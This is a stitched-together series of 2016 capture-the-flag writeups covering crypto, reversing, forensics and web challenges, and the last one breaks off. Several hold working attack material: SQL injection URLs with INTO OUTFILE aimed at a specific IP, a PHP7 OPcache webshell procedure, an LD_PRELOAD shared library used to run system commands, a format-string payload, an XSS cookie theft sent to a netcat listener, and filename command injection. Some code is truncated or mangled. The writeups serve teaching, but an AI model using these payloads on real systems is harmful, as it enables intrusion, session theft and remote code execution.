Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
Remote Code Execution via Python __import__() - MMACTF 2016 Tsurai Web 300 writeup - https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/ |
MongoDB - Extracting data (admin password) using NoSQL Injection - MMACTF 2016 Web 100 writeuphttps://blog.0daylabs.com/2016/09/05/mongo-db-password-extraction-mmactf-100/ |
##Static analysisWin32 native app, not packed, strings are not obfuscated imports CheckRemoteDebuggerPresent(),IsDebuggerPresent() The exe file supports ASLR -base address will change every run- to get the same addresses as mine you have to disable it  There are some links in the strings ,they can help you understand the challenge.##Dynamic/Code analysisFunction sub_401070 asks for a password, it then compares the user input against hardcoded string “incorrect”,that’s the password.
The code will then check for various condition and displays a message that indicates whether the condition failed or not.Change the destinatio of the branch if a badboy message appeared and you will solve it.
There is a call to sleep(1000) , bypass it or change the sleep duration to 1 ms or something ,so that the difference between the two calls to GetTickCount is not big.Then this is the image  PAN{Th3_$quirtL3_$qu@d_w@z_bLuffiNg} |
# [ALICTF 2016](http://alictf.com/): [homework]
**Category:** Web**Points:** 400 (decreased to 340 by the solves)**Solves:** 12**Description:**
> It's time to submit your homework. > But I'm sure the teacher is too busy to check your homework.
## intro
First of all, this is a great, not so easy (maybe hard? ;) ),involved, multistep web challenge, so big thx for theorganizers. The solution was a painful, hard workby a couple of members from the RingZer0Team:[Corb3nik](http://corb3nik.github.io/),Flink and [me](https://ringzer0team.com/profile/3919/an0n).
To get some flavor about the complexity of the challenge,here is a short list of the ingredients:
* MD5 brute forcing (to solve captcha)* SQL injection (file upload)* PHP7 file OPcache attack (execute arbitrary PHP code)* bypassing `open_basedir` and `disable_functions` PHP restrictionsto execute arbitrary code on the target (the used techniqueis quite interesting, keep reading further. ;) )
## writeup
Opening the challenge (which unfortunately is not available now,after the competition) gives a login page and a sign uplink. (The sign up link didn't work for me, but gettingthe url from the source resolved the issue.)
### defeating the login captcha
So the first task is signing up and logging in.The only issue is to beat a not so hard captcha.

The captcha message is something like`substr(md5(captcha), 0, 4)=c079`. This equationcan be solved easily and quickly e.g. for a 6-char captchastring (of uppercase chars and digits) by bruteforce. Here is a Python script for the brute-forcer(by Corb3nik):
```python#!/usr/bin/env python2
import hashlib, string, random, sys
while True: tmp = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(6)) tmpHash = hashlib.md5(tmp.encode()).hexdigest() if tmpHash[0:4] == sys.argv[1]: print ("[*] Solved by " + tmp)```
Okay, so this way signing up and logging in should not be a problem.
### exploring the interface
The application interface is simple, there is a file (image) uploadform with attachable comment, and the uploaded items are browsable,each item has a _detailed_ view. Btw, it is clear that it isa PHP application.

The uploader gives the user the pathname of the uploaded fileafter uploading. After uploading, it is accessible throughthe web server. Although this is an uploader for images,it allows uploading everything, but it detects _dangerous_files by extension: if the attacker tries to upload a PHPfile, the uploader script removes the content and overwritesit with a warning message. So unfortunately we can notupload PHP code easily this way.
Experimenting a little bit with the _detailed_ view, itcan be revealed that there is an SQL injection vulnerabilityin the `id` GET parameter of `detail.php`.
### exploiting sql injection
So the SQL injection vulnerability is in the `id` GET parameterof the `detail.php` script. It is easily exploitable by`UNION SELECT` technique. Here is a PoC query:
```http://121.40.50.146/detail.php?id=-1 union select 1337 %23```

Note that query is terminated by comment character `#`(url encoded as `%23`). With this technique one can easilyget information about the SQL server (it is MySQL 5.5.49running on Ubuntu 14.04.1 LTS), the database, the tables, etc.Dumping tables is also possible, but there is nothinguseful in it.

The most important thing is that wecan read files with the `LOAD_FILE()` function andeven write files with the `INTO OUTFILE` statement.The only restriction should be the insufficientpermissions.
After a bunch of trying we can realize that reading`/etc/passwd` is possible, but nothing from webroot.(Btw, we do not know yet where is the webroot actually.)Moreover, `/tmp` is writable and readable by theSQL user:
```http://121.40.50.146/detail.php?id=-1 union select X'31333337' into outfile '/tmp/_gU324' %23http://121.40.50.146/detail.php?id=-1 union select load_file('/tmp/_gU324') %23```
Note that we can use `X'31333337'` to inject `1337` (or anything else)by hex codes. This will be important later.
### web dir recon
At this part we can not get deeper without additional informationabout the target system. It would be obvious to scan the web directorywith e.g. [dirb](http://dirb.sourceforge.net/), but unfortunatelyusing automated scanners in this CTF is prohibited. However, probingfor common things manually we can find an essential information source:
```http://121.40.50.146/phpinfo.php```
This leak will be critical by itself, but we can find one moreinteresting file in the webroot, a `readme.html` containingthis text:
```Homework System Installation:1. Unzip the package in an empty directory and upload everything.2. Open install.php in your browser. It will take you through the process.3. Delete install.php.
Judge Plugin(Optional):Make sure mysql 5.2.0 or above is installed. Then compile and install as usual:1. Unzip the package in an empty directory and upload to /tmp.2. Compile and install as usual:cd /tmpchmod 777 -R ././configuremakemake install```
What is the point of this? That is we can assume `/tmp` is world-writablerecursively. (This was partly confirmed by the above SQL injection exploit.)
### PHP7 Zend OPcache exploit
Analyzing the leaked `phpinfo` we can find interesting things besidescommon informations like versions, webroot, directories, variables, etc.There is a mandatory info here: the PHP engine running on theweb server is a `PHP7` and it has `Zend extension` enabled, moreoverit supports `Zend OPcache` feature with `File Cache` option enabled.Furthermore, the `opcache.file_cache_only` option is turned on andwe can see that the file cache root directory is `/tmp/OPcache`.

What does this mean? The PHP engine stores a binary opcode cacheversion of the executed PHP script in the folder `/tmp/OPcache`(in order to speed up the execution). If the binary opcode cachefile does not exist, it compiles and stores it, if it exists,it takes it and executes it (instead of processing the originalone). Because there is no real validation in this scheme(just matching the `system_id`), if anattacker could rewrite the binary opcode cache of a PHPscript, he can execute arbitrary PHP code without overwritingthe original PHP script in the webroot.
Note, that according to the leaked `readme.html`,the whole `/tmp` is world writable, so by exploting the aboveSQL injection vulnerability we can write arbitrary files into `/tmp`.Therefore if we could generate the correct binary opcode cache files,we can run arbitrary PHP code on the target server.
Generating the correct binary opcode cache files is nothard. It needs a locally running PHP7 installation withZend extensions. If the right options are enabled(`opcache.enable_cli=1` for using `php-cli`,`opcache.file_cache="/tmp/OPcache"`or other dirs should work as well, `opcache.file_cache_only=1`to prefer file cache over memory),the binary opcode cache file gets generated whenrunning the PHP script (even from command lineusing `php-cli`). The generated opcode cache filesreside at `/tmp/OPcache/[system_id]/[webroot]/[php_script_path].bin`.
Before uploading the binary file to the rightplace, the so-called `system_id` of the target server have to begenerated and replaced in the generated binary.It can be calculated from various data found in `phpinfo`.Fortunately, there is an automated tool for this by *GoSecure*:[system_id_scraper.py](https://github.com/GoSecure/php7-opcache-override/blob/master/system_id_scraper.py).Calculating the `system_id` with this tool results:`39b005ad77428c42788140c6839e6201`.
Summarizing the attack:
1. Create the malicious PHP script (e.g. `payload.php`) to be executed on the target.2. Execute the script to generate the binary opcode cache: `php -f payload.php`.The binary opcode cache should be generated as `/tmp/OPcache/[system_id]/[path_to_payload.php]/payload.php.bin`.3. Replace the `system_id` in the binary `payload.php.bin` to match the target system(bytes 9-40 in the binary).4. Upload a dummy PHP file (e.g. `evil.php` using the *homework*web app uploader form). Although uploaded file content is replaced,we have the file path (e.g. `upload/20160606034418-evil.php`)5. Make a hex digest of the patched binary opcode cache file.6. Upload the patched binary opcode cache file to the right place on the remote server(e.g. `/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/evil.php.bin`)by exploiting SQL injection with `INTO OUTFILE` payload:```http://121.40.50.146/detail.php?id=-1 union select X'[hex_digest_of_payload.php.bin]' into dumpfile '/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/evil.php.bin' %23```7. Execute the malicious PHP by calling it (e.g. `http://121.40.50.146/upload/evil.php`)
Steps 3-7 are automated in our attached[upload_payload.py](exploit/upload_payload.py) scriptfor experimenting easier with various PHP payloads.
This way we can upload and execute arbitrary PHP fileson the remote server. The only 'minor issue' we have isthat almost all of the useful PHP functions are disabled,and the PHP has access only to `/tmp` and the webroot.
The restrictions from `phpinfo`:
> disable_functions = eval, base64_encode, base64_decode, preg_replace, assert, glob, imageftbbox, bindtextdomain, symlink, chmod, mkdir, is_dir, opendir, readdir, scandir, dir, realpath, dl, exec, system, passthru, popen, proc_open, shell_exec, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, readlink, stream_socket_server, fsocket, chroot, chgrp, chown, proc_get_status, ini_alter, ini_restore, openlog, fread, fopen, fgets, fgetss, file, readfile, file_get_contents, fpassthru, parse_ini_file, fputs, unlink>> disable_classes = DirectoryIterator, SplFileInfo>> open_basedir = /var/www/html/:/tmp/
So we can not execute system commands, list directories and access filesoutside webroot and `/tmp`. By the way, at least `show_source` is allowed,so we could get the source code of the web application, but this did nothelp. We had a(n official) hint from the author of thechallenge that the flag is in `/` (and almost every cmd is disabled).Therefore we should bypass these restrictions somehow...
Nevertheless, we have to say that our team was familiar with thisPHP7 Zend OPcache vulnerability because one of our members,*Ian Bouchard* (alias *Corb3nik*) has just been released an articlerecently detailing this exploit:[Binary Webshell Through OPcache in PHP 7](https://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/)
### bypassing PHP restrictions
Although this is an old story, this part is quite tricky.After a long research, we have found this the only way bypassingthe restrictions of PHP. The key is the `mail()` functionwhich is fortunately (or unfortunately) not disabled.Mail sending by PHP `mail()` function is not an internalimplementation, but an external `sendmail` command execution.(Note, that `sendmail_path` in `phpinfo` is `/usr/bin/firemail -t -i`,which is not a special sendmail but it wants to be a hint.)
These kind of mechanisms are always dangerous, even in PHP, where thereis no sandboxing like environment for external commandexecution. Therefore, while PHP is executing `sendmail`, theconfigured restrictions (as well as `open_basedir`)are not in effect. However, exploiting it requiressome creativity.
According to[PHP mail manual](http://php.net/manual/en/function.mail.php),the fifth parameter passed to `mail()` is `$additional_parameters`which are passed to `sendmail` execution. Old sendmail implementationssupported parameters that are used for configuration reading fromfile (`-C`) and debug log writing to file (`-X`). This could leadto arbitrary file read bypassing `open_basedir` by writing the logto `/tmp`. But unfortunately our sendmail does not support `-X`.No problem, there is another, better method...
There is a well exploitable feature of GNU C library dynamiclinker for these kind of situations, where we are able toexecute a *specified* command but we want to execute an *other* code.Just choose a dynamic library function of theexecutable command. Compile a custom shared libraryimplementing that selected function with the codeto be executed, and override that function bypreloading the modified shared library. Preloadingis possible by setting the `LD_PRELOAD` environmentvariable to the compiled shared library file.This way arbitrary code can be executed withoutPHP restrictions in effect.
The only conditions that must be met is that weshould be able to upload `.so` files (this is possibleeven with the webapp uploader) and we should beable to define environment variables beforecalling `mail()`. This is also possible usingPHP `putenv()` (which is not disabled).
Our plan is to make a PHP script which executesarbitrary system commands on the remote serverand displays its output.Let the command be passed through e.g. the `cmd`GET parameter to the script. The PHP script setsthe `LD_PRELOAD` variable to the malicious sharedlibrary which overrides e.g. `geteuid()` withour payload which executes the system command.The system command should be passed to thebinary somehow, it can be done e.g. by puttingit also into the environment (`_evilcmd` variable)by the PHP script. The output of the executed commandshould be available by the PHP script, let itwrite to a file (e.g. `/tmp/_0utput.txt`).
Let us assemble the ingredients. First, here is the[shared library](exploit/evil.so)[C source](exploit/evil.c)which overrides `geteuid()`:
```c/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>#include <stdio.h>#include <string.h> void payload(char *cmd) { char buf[512]; strcpy(buf, cmd); strcat(buf, " > /tmp/_0utput.txt"); system(buf);} int geteuid() { char *cmd; if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); if ((cmd = getenv("_evilcmd")) != NULL) { payload(cmd); } return 1;}```
Uploading it with *homework* app, uploader formgives the path e.g. `upload/2016060600908-evil.so`
And the other part is the[PHP script](exploit/payload.php),which triggers the payload by setting `LD_PRELOAD` andexecuting `sendmail` by calling `mail()`:
```php";
$cmd = $_GET['cmd'];$r2 = putenv("_evilcmd=$cmd");echo "putenv: $r2 ";
$r3 = mail("[email protected]", "", "", "");echo "mail: $r3 ";
show_source("/tmp/_0utput.txt");
?>```
This should be deployed by the above OPcache exploit.
Once ready, we should be able to execute arbitrarysystem commands on the remote system by calling:
```http://121.40.50.146/upload/20160606001836-payload.php?cmd=echo ok```
This one displays `ok`, so the exploit seems to be working.Now we can experiment with system commands, unfortunately a lot ofthem are disabled even at this level. Of course we canimplement anything without calling system commands witha custom shared library, but we can solve the challenge byfinding smart command lines.
Even `ls` is disabled, we can list files by using `printf`and `*` (wildcard): `printf "%s\n" /*` lists the files in root(remember, listing files and even accessing `/` was restrictedby PHP).There is an entry `/flag_is_H3r3_sir`, so it would be niceto get the contents. The command `cat` is also disabled,but the command `tac` (print lines as `cat`, but in reverse order)is allowed. So the solution is:
```http://121.40.50.146/upload/20160606001836-payload.php?cmd=tac /flag_is_H3r3_sir```
And the flag is:
```alictf{nk2csizy7od2feyt5un4mx7s891gilf4}```

This is the end of a great web challenge which would be rememberedfor a long time.
### lessons learned
Summarizing, each of the vulnerabilities are dangerous by itself,but even fatal together. Remarks:
- It has nothing to do with the challenge, but this login / signupcaptcha is useless because it can be solved automatically easily.- An uploader for images should validate the uploadable files better.Rather than blacklisting restricted types, but whitelisting allowed types.- Everything should be done to avoid SQL injection, it can bevery dangerous. (See `mysqli_real_escape_string`.)- World-writable directories are very dangerous even if it is just `/tmp`.Setting strict permissions is a must for secure systems.- Leaving unnecessary files in webroot may leak importantinfo about other vulnerabilites for attackers.Unnecessary files should be cleaned out of the publicly available webroot.- PHP 7 OPcache should be configured properly. The cache filesshould be protected well. Insecure configuration may be fatal.- PHP restrictions is not a real protection. There are too manyways bypassing them. Do not trust in it itself. Securing PHPenvironment should be done at OS level.
## writeups by teammates
[Corb3nik](http://corb3nik.github.io/alictf%202016/homework/) |
## Tokey Westerns/MMA CTF 2nd 2016 - judgement (Pwn 50pt)##### 03/09 - 05/09/2016 (48hr)___
### Description: Host : pwn1.chal.ctf.westerns.tokyo
Port : 31729
judgement___### Solution
This challenge was a trivial format string attack. Flag was already loaded in memory at:```assembly .bss:0804A0A0 ; char flag[64] .bss:0804A0A0 flag ```
The format string vulnerability was at:```assembly .text:0804879F mov [esp], eax ; format .text:080487A2 call _printf```
The only tricky part is this:```assembly.text:08048787 jnz short loc_804879C.text:08048789 mov dword ptr [esp], offset s ; "Unprintable character".text:08048790 call _puts.text:08048795 mov eax, 0FFFFFFFFh.text:0804879A jmp short loc_80487D8```
As you can see only printable characters are allowed. However, function isprint():```assembly.text:080488D4 call _isprint```
stops on NULL byte. Thus, all we have to do is to add a NULL byte to bypass this check,and then we can write non-printable characters.
```ispo@nogirl:~/ctf$ python -c 'print "%47$x-%47$s-\x00PAD\xa0\xa0\x04\x08"' | nc pwn1.chal.ctf.westerns.tokyo 31729Flag judgment systemInput flag >> 804a0a0-TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}-Wrong flag...```
```ispo@nogirl:~/ctf$ nc pwn1.chal.ctf.westerns.tokyo 31729Flag judgment systemInput flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}Correct flag!!ispo@nogirl:~/ctf$ ```___ |
## Tokey Westerns/MMA CTF 2nd 2016 - Reverse Box (Re 50pt)##### 03/09 - 05/09/2016 (48hr)___
### Description: $ ./reverse_box ${FLAG}
95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
reverse_box.7z___### Solution
Let's start by looking at main() function:
```assembly.text:080486D4 ; DO ARGUMENT CHECK FIRST.text:080486D4 ARGV_OK_80486D4: ; CODE XREF: main_8048689+27?j.text:080486D4 lea eax, [esp+1Ch] ; eax = &map.text:080486D8 mov [esp], eax.text:080486DB call gen_array.text:080486E0 mov dword ptr [esp+18h], 0 ; iterator = 0.text:080486E8 jmp short LOOP_END_804871C ; ebx = iterator.text:080486EA ; ---------------------------------------------------------------------------.text:080486EA.text:080486EA LOOP_START_80486EA: ; CODE XREF: main_8048689+AA?j.text:080486EA mov eax, [esp+0Ch].text:080486EE add eax, 4.text:080486F1 mov edx, [eax] ; edx = &flag.text:080486F3 mov eax, [esp+18h].text:080486F7 add eax, edx.text:080486F9 movzx eax, byte ptr [eax] ; eax = flag[iterator].text:080486FC movsx eax, al.text:080486FF movzx eax, byte ptr [esp+eax+1Ch].text:08048704 movzx eax, al ; eax = map[ flag[iterator] ].text:08048707 mov [esp+4], eax.text:0804870B mov dword ptr [esp], offset a02x ; "%02x".text:08048712 call _printf ; printf("%02x", map[ flag[iterator] ] );.text:08048717 add dword ptr [esp+18h], 1 ; ++iterator.text:0804871C.text:0804871C LOOP_END_804871C: ; CODE XREF: main_8048689+5F?j.text:0804871C mov ebx, [esp+18h] ; ebx = iterator.text:08048720 mov eax, [esp+0Ch].text:08048724 add eax, 4.text:08048727 mov eax, [eax] ; eax = argv[1].text:08048729 mov [esp], eax ; s.text:0804872C call _strlen ; get flag length.text:08048731 cmp ebx, eax.text:08048733 jb short LOOP_START_80486EA```
Things are very easy here: function gen_array (0x0804858D) is called and generates a 256 bytearray. Then we substitute each character from the flag using the array:```c printf("%02x", map[ flag[iterator] ] ); ```
This is pretty much like an substitution box (SBox). Let's take a look into gen_array:
```assembly.text:08048593 mov dword ptr [esp], 0 ; timer.text:0804859A call _time.text:0804859F mov [esp], eax ; seed.text:080485A2 call _srand ; srand(time(NULL)).text:080485A7.text:080485A7 ZERO_BYTE_80485A7: ; CODE XREF: gen_array+2B?j.text:080485A7 call _rand.text:080485AC and eax, 0FFh.text:080485B1 mov [ebp+rand_C], eax ; rand_C = rand() % 256.text:080485B4 cmp [ebp+rand_C], 0.text:080485B8 jz short ZERO_BYTE_80485A7 ; if( rand_C == 0 ) then get a new random byte
.text:080485BA mov eax, [ebp+rand_C].text:080485BD mov edx, eax.text:080485BF mov eax, [ebp+arg_0].text:080485C2 mov [eax], dl ; map[0] = rand_C.text:080485C4 mov [ebp+var_E], 1.text:080485C8 mov [ebp+var_D], 1.text:080485CC.text:080485CC loc_80485CC: ; CODE XREF: gen_array+F4?j.......... ; do substitutions......text:0804867D cmp [ebp+var_E], 1.text:08048681 jnz loc_80485CC.text:08048687 leave.text:08048688 retn.text:08048688 gen_array endp```
The key point here is that the initial seed for that array is 1 byte long, so there are 255 possible arrays.
At this point we can reverse the algorithm and generate all possible arrays. But we'll solve itwithout reversing the algorithm! The idea is to use an IDC script which sets accordingly the random seed, lets the program generates the array by itself, and then collect the results.We can repeat this process for each of 255 possible seeds.
Our IDC script will print in the output window of IDA all arrays in a python list format.Then we can copy all these arrays in a python script and get the flag:
```pythonenc ='95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a' idx = [ord(i) for i in enc.decode('hex') ] for m in map: flag = ''.join([chr(m.index(i)) for i in idx]) if flag.find('TWCTF') != -1: print 'Flag Found:', flag break```
We know that flag starts with "TWCTF", so we can easily find out the which is the correct array.Once we execute it, we get the flag: **TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}**___ |
ImgBlog (Web - 130 points, 79 solves)===============================> I found this amazing [blog about Iceland](http://imgblog.vuln.icec.tf/) Did I ever tell you that I love Iceland? It seems to be made from scratch by a single guy although being impressive, he doesn't seem too have much experience with web programming. Can you see if you can find any vulnerabilites to pwn his machine?
Solution--------
The website for this challenge looks like a simple blog. This is the homepage:
There are login and register buttons. I started off with some standard `admin' or 1=1; -- ` injections for the username and password but with no success. Oh well, this is one of the higer pointed web challenges so it's probably something more involved than that. The description text suggests to me that there might be some XSS vulnerabilities - how else would we "pwn his machine".
I tried logging with my favorite credentials, `asdf:asdf`. Lo and behold, some other hacker has gone through the trouble of registering for me!
Once logged in, we have the ability to comment on the posts. A ha! A potential XSS vector!
Let's try some simple XSS and see if the page is vulnerable:
One security please! <script>alert("whoops");</script>

Darn, looks like they're properly escaping the input. There are two links associated with each comment:* A report button* A comment permalink
The report button did not appear to do much at first glance. The comment permalink proved to be quite interesting however...

This has to be an intentional bug, so lets see if we can exploit it. I have a hunch that there's an authenticated account that will visit any comment that has been reported, so lets try to dump the cookies and see what we can get. To do this I just used a simple document.write to trigger a get request containing the script-accessible cookies.
<script>document.write('');</script>
On the other end of that snippet is a simple netcat listener waiting for the get request.
~ » nc -l 8989 GET /session=eyJ1c2VyIjoxfQ.CqE6uA.El7XiKvPy9p1BrAuEYE5YGjy0t8 HTTP/1.1 Referer: http://127.0.0.1:5300/comment/086c1db74162aff4ef376dcf493f8b User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en,*
Wahoo!! We got a session token! Lets pop that into our cookies and see what we get!
Well, we didn't get a flag, but we do have an upload page that looks like it could be pretty interesting.

I tried running basic sql injections on the forms with no success. The interesting thing appeared to be the image upload tool. At first glance the verification seems reasonable, if a non-image is supplied it reports an error like this.
That output format looked vaguely familiar though, so I gave it a quick Google. Turns out that's the output from the unix `file` utility! They couldn't be using `file` to determine the type of the upload, could they?! I loaded up my trusty tamperdata plugin and tried changing the filename to include a command and... success!

Through some trial and error I determined that the form stripped the period so I ran `cat flag*` and got the flag.
### Flag:`IceCTF{why_would_you_use_shell_commands_in_your_web_app_plz_stop}`
|
Corrupt Transmission - Forensic - 50 Points
Hint : We intercepted this image, but it must have gotten corrupted during the transmission.Can you try and fix it? File : https://play.icec.tf/problem-static/corrupt_92cee405924ad39fb513e3ef910699b79bb6d45cc5046c051eb9aab3546e22c3.png
Open the file with " xxd -l8 filename " Knowing that the magic numbers for a PNG file are 0x89 0x50 0x4E 0x47 0xD 0xA 0x1A 0xA
The numbers from the file didnt match a PNG so i patched them using an hexeditor.The site https://hexed.it can be used. Patch the bytes and save the file.Open the file as a valid PNG and you get the flag.
Flag: IceCTF{t1s_but_4_5scr4tch}
|
In Tokyo Westerns CTF Rescue Data1:deadnas it is obvious from the description that this is a RAID recovery problem of some sort. Given three files one of which just contains the words "crashed :-(". Doing 'file' on the remaining disk0 file we get...disk0: x86 boot sector, mkdosfs boot message display, code offset 0x3c, OEM-ID "mkfs.fat", sectors/cluster 4, root entries 512, sectors 2048 (volumes <=32 MB) , Media descriptor 0xf8, sectors/FAT 2, heads 64, serial number 0x867314a9, unlabeled, FAT (12 bit)There are also chunks of apparently good data at intervals throughout the remaining disk0 and disk2 files.In this three disk RAID each physical block contains either data or a XOR product of the other two blocks. Like this...BLOCK DISK0 DISK1 DISK2 0 data product data 1 data data product 2 product data data 3 data product data 4 data data productKnowing this I recovered disk1 using a file xor utility available here: https://github.com/scangeo xor-files -r disk1 disk0 disk2I knew this was correct when I found chunks of good data on the newly created disk1.From here on, everything is done in bash with commonly available Linux helper commands.Next I had to figure out the size of the disk blocks. Looking at the disks with hexedit it seemed that good data occured in about 512b size chunks. This was most apparent around 0x2800-0x3300 when comparing the three images side by side. Using this I cut the three files into 512 byte size files with split:mkdir disk0_split disk1_split disk2_splitsplit -b 512 -a 3 --additional-suffix 0 disk0 disk0_split/disksplit -b 512 -a 3 --additional-suffix 1 disk1 disk1_split/disksplit -b 512 -a 3 --additional-suffix 2 disk2 disk2_split/diskKnowing that disk0/block0 is valid data there are only two ways the disk could go back together. Looking back at the RAID structure block example above block0 can be either data, product, data or data, data, product. Again the data around 0x2800 to 0x3300 helped me determine that the correct sequence for block 0 was data data product. These three snippets copy just the data blocks into a directory and ignore the product blocks.mkdir wholediskcount=2for file in `ls disk0_split`; do if [[ $((count%3)) -ne 1 ]]; then cp disk0_split/$file wholedisk fi ((count++))donecount=0for file in `ls disk1_split`; do if [[ $((count%3)) -ne 1 ]]; then cp disk1_split/$file wholedisk fi ((count++))donecount=1for file in `ls disk2_split`; do if [[ $((count%3)) -ne 1 ]]; then cp disk2_split/$file wholedisk fi ((count++))done# Finally restoring the original disk...cd wholediskfor file in `ls`; do cat $file >> ../wholedisk.imgdoneOnce I mounted the resulting image I was able to see the flag.jpg file containing the flag. |
## Dam (Crypto, 277p)
###ENG[PL](#pl-version)
In the task we get access to a service providing some form of encryption.The server challenges us for a PoW before we can interact, so first we had to solve the PoW, but it was the same as for some others tasks (prefix for string giving some hash value).After beating the PoW we could query the server for encryption code, key generation code, encrypted flag with current session key, current public session key and we could also encrypt something.
The encryption code is:
